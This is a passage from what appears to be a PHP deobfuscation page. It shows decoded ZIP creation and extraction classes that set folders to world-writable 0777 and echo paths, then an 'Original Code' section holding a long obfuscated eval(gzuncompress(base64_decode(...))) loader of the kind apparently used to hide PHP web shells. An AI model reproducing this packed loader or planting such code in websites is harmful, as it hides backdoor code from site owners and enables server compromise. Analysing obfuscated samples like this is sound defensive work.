		$fr	.= "\x00\x00";
		$fr	.= "\x08\x00";
		$fr	.= $hexdtime;
		$unc_len = strlen($data);
		$crc = crc32($data);
		$zdata = gzcompress($data);
		$c_len = strlen($zdata);
		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
		$fr .= pack('V', $crc);
		$fr .= pack('V', $c_len);
		$fr .= pack('V', $unc_len);
		$fr .= pack('v', strlen($name));
		$fr .= pack('v', 0);
		$fr .= $name;
		$fr .= $zdata;
		$fr .= pack('V', $crc);
		$fr .= pack('V', $c_len);
		$fr .= pack('V', $unc_len);
		$this -> datasec[] = $fr;
		$new_offset = strlen(implode('', $this->datasec));
		$cdrec = "\x50\x4b\x01\x02";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x14\x00";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x08\x00";
		$cdrec .= $hexdtime;
		$cdrec .= pack('V', $crc);
		$cdrec .= pack('V', $c_len);
		$cdrec .= pack('V', $unc_len);
		$cdrec .= pack('v', strlen($name) );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('V', 32 );
		$cdrec .= pack('V', $this -> old_offset );
		$this -> old_offset = $new_offset;
		$cdrec .= $name;
		$this -> ctrl_dir[] = $cdrec;
	}
	function packfile(){
		$data    = implode('', $this -> datasec);
		$ctrldir = implode('', $this -> ctrl_dir);
		return $data.$ctrldir.$this -> eof_ctrl_dir.pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).pack('V', strlen($ctrldir)).pack('V', strlen($data))."\x00\x00";
	}
}

class zip
{

 var $total_files = 0;
 var $total_folders = 0; 

 function Extract ( $zn, $to, $index = Array(-1) )
 {
   $ok = 0; $zip = @fopen($zn,'rb');
   if(!$zip) return(-1);
   $cdir = $this->ReadCentralDir($zip,$zn);
   $pos_entry = $cdir['offset'];

   if(!is_array($index)){ $index = array($index);  }
   for($i=0; $index[$i];$i++){
   		if(intval($index[$i])!=$index[$i]||$index[$i]>$cdir['entries'])
		return(-1);
   }
   for ($i=0; $i<$cdir['entries']; $i++)
   {
     @fseek($zip, $pos_entry);
     $header = $this->ReadCentralFileHeaders($zip);
     $header['index'] = $i; $pos_entry = ftell($zip);
     @rewind($zip); fseek($zip, $header['offset']);
     if(in_array("-1",$index)||in_array($i,$index))
     	$stat[$header['filename']]=$this->ExtractFile($header, $to, $zip);
   }
   fclose($zip);
   return $stat;
 }

  function ReadFileHeader($zip)
  {
    $binary_data = fread($zip, 30);
    $data = unpack('vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $binary_data);

    $header['filename'] = fread($zip, $data['filename_len']);
    if ($data['extra_len'] != 0) {
      $header['extra'] = fread($zip, $data['extra_len']);
    } else { $header['extra'] = ''; }

    $header['compression'] = $data['compression'];$header['size'] = $data['size'];
    $header['compressed_size'] = $data['compressed_size'];
    $header['crc'] = $data['crc']; $header['flag'] = $data['flag'];
    $header['mdate'] = $data['mdate'];$header['mtime'] = $data['mtime'];

    if ($header['mdate'] && $header['mtime']){
     $hour=($header['mtime']&0xF800)>>11;$minute=($header['mtime']&0x07E0)>>5;
     $seconde=($header['mtime']&0x001F)*2;$year=(($header['mdate']&0xFE00)>>9)+1980;
     $month=($header['mdate']&0x01E0)>>5;$day=$header['mdate']&0x001F;
     $header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
    }else{$header['mtime'] = time();}

    $header['stored_filename'] = $header['filename'];
    $header['status'] = "ok";
    return $header;
  }

 function ReadCentralFileHeaders($zip){
    $binary_data = fread($zip, 46);
    $header = unpack('vchkid/vid/vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $binary_data);

    if ($header['filename_len'] != 0)
      $header['filename'] = fread($zip,$header['filename_len']);
    else $header['filename'] = '';

    if ($header['extra_len'] != 0)
      $header['extra'] = fread($zip, $header['extra_len']);
    else $header['extra'] = '';

    if ($header['comment_len'] != 0)
      $header['comment'] = fread($zip, $header['comment_len']);
    else $header['comment'] = '';

    if ($header['mdate'] && $header['mtime'])
    {
      $hour = ($header['mtime'] & 0xF800) >> 11;
      $minute = ($header['mtime'] & 0x07E0) >> 5;
      $seconde = ($header['mtime'] & 0x001F)*2;
      $year = (($header['mdate'] & 0xFE00) >> 9) + 1980;
      $month = ($header['mdate'] & 0x01E0) >> 5;
      $day = $header['mdate'] & 0x001F;
      $header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
    } else {
      $header['mtime'] = time();
    }
    $header['stored_filename'] = $header['filename'];
    $header['status'] = 'ok';
    if (substr($header['filename'], -1) == '/')
      $header['external'] = 0x41FF0010;
    return $header;
 }

 function ReadCentralDir($zip,$zip_name){
	$size = filesize($zip_name);

	if ($size < 277) $maximum_size = $size;
	else $maximum_size=277;
	
	@fseek($zip, $size-$maximum_size);
	$pos = ftell($zip); $bytes = 0x00000000;
	
	while ($pos < $size){
		$byte = @fread($zip, 1); $bytes=($bytes << 8) | ord($byte);
		if ($bytes == 0x504b0506 or $bytes == 0x2e706870504b0506){ $pos++;break;} $pos++;
	}
	
	$fdata=fread($zip,18);
	
	$data=@unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size',$fdata);
	
	if ($data['comment_size'] != 0) $centd['comment'] = fread($zip, $data['comment_size']);
	else $centd['comment'] = ''; $centd['entries'] = $data['entries'];
	$centd['disk_entries'] = $data['disk_entries'];
	$centd['offset'] = $data['offset'];$centd['disk_start'] = $data['disk_start'];
	$centd['size'] = $data['size'];  $centd['disk'] = $data['disk'];
	return $centd;
  }

 function ExtractFile($header,$to,$zip){
	$header = $this->readfileheader($zip);
	
	if(substr($to,-1)!="/") $to.="/";
	if($to=='./') $to = '';	
	$pth = explode("/",$to.$header['filename']);
	$mydir = '';
	for($i=0;$i<count($pth)-1;$i++){
		if(!$pth[$i]) continue;
		$mydir .= $pth[$i]."/";
		if((!is_dir($mydir) && @mkdir($mydir,0777)) || (($mydir==$to.$header['filename'] || ($mydir==$to && $this->total_folders==0)) && is_dir($mydir)) ){
			@chmod($mydir,0777);
			$this->total_folders ++;
			echo ": $mydir<br>";
		}
	}
	
	if(strrchr($header['filename'],'/')=='/') return;	

	if (!($header['external']==0x41FF0010)&&!($header['external']==16)){
		if ($header['compression']==0){
			$fp = @fopen($to.$header['filename'], 'wb');
			if(!$fp) return(-1);
			$size = $header['compressed_size'];
		
			while ($size != 0){
				$read_size = ($size < 2048 ? $size : 2048);
				$buffer = fread($zip, $read_size);
				$binary_data = pack('a'.$read_size, $buffer);
				@fwrite($fp, $binary_data, $read_size);
				$size -= $read_size;
			}
			fclose($fp);
			touch($to.$header['filename'], $header['mtime']);
		}else{
			$fp = @fopen($to.$header['filename'].'.gz','wb');
			if(!$fp) return(-1);
			$binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($header['compression']),
			Chr(0x00), time(), Chr(0x00), Chr(3));
			
			fwrite($fp, $binary_data, 10);
			$size = $header['compressed_size'];
		
			while ($size != 0){
				$read_size = ($size < 1024 ? $size : 1024);
				$buffer = fread($zip, $read_size);
				$binary_data = pack('a'.$read_size, $buffer);
				@fwrite($fp, $binary_data, $read_size);
				$size -= $read_size;
			}
		
			$binary_data = pack('VV', $header['crc'], $header['size']);
			fwrite($fp, $binary_data,8); fclose($fp);
	
			$gzp = @gzopen($to.$header['filename'].'.gz','rb') or die("Cette archive est compress");
			if(!$gzp) return(-2);
			$fp = @fopen($to.$header['filename'],'wb');
			if(!$fp) return(-1);
			$size = $header['size'];
		
			while ($size != 0){
				$read_size = ($size < 2048 ? $size : 2048);
				$buffer = gzread($gzp, $read_size);
				$binary_data = pack('a'.$read_size, $buffer);
				@fwrite($fp, $binary_data, $read_size);
				$size -= $read_size;
			}
			fclose($fp); gzclose($gzp);
		
			touch($to.$header['filename'], $header['mtime']);
			@unlink($to.$header['filename'].'.gz');
			
		}
	}
	
	$this->total_files ++;
	echo ": $to$header[filename]<br>";
	return true;
 }
}
ob_end_flush();

Did this file decode correctly?

Original Code

eval(gzuncompress(base64_decode('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